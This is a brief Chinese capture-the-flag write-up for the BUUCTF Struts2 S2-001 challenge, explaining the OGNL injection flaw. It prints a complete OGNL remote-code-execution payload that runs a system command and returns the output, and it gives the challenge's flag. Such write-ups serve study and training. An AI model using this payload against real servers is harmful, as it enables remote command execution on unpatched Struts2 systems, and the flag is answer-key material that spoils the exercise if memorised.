BUUCTF-Real-[struts2]s2-001

漏洞描述

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中,如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。


漏洞poc验证


 经过poc验证,我们发现 [struts2]s2-001 存在rce漏洞!


paylaod

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

漏洞利用

BUUCTF-Real-[struts2]s2-001_第1张图片


打印出当前路径!根据题目,我们只需要把环境变量打印出来即可!也就是 " env "


BUUCTF-Real-[struts2]s2-001_第2张图片


 flag{59eb58d0-dbaf-4206-aa26-dc4d75fcf19f}

你可能感兴趣的:(漏洞复现与研究,java,struts)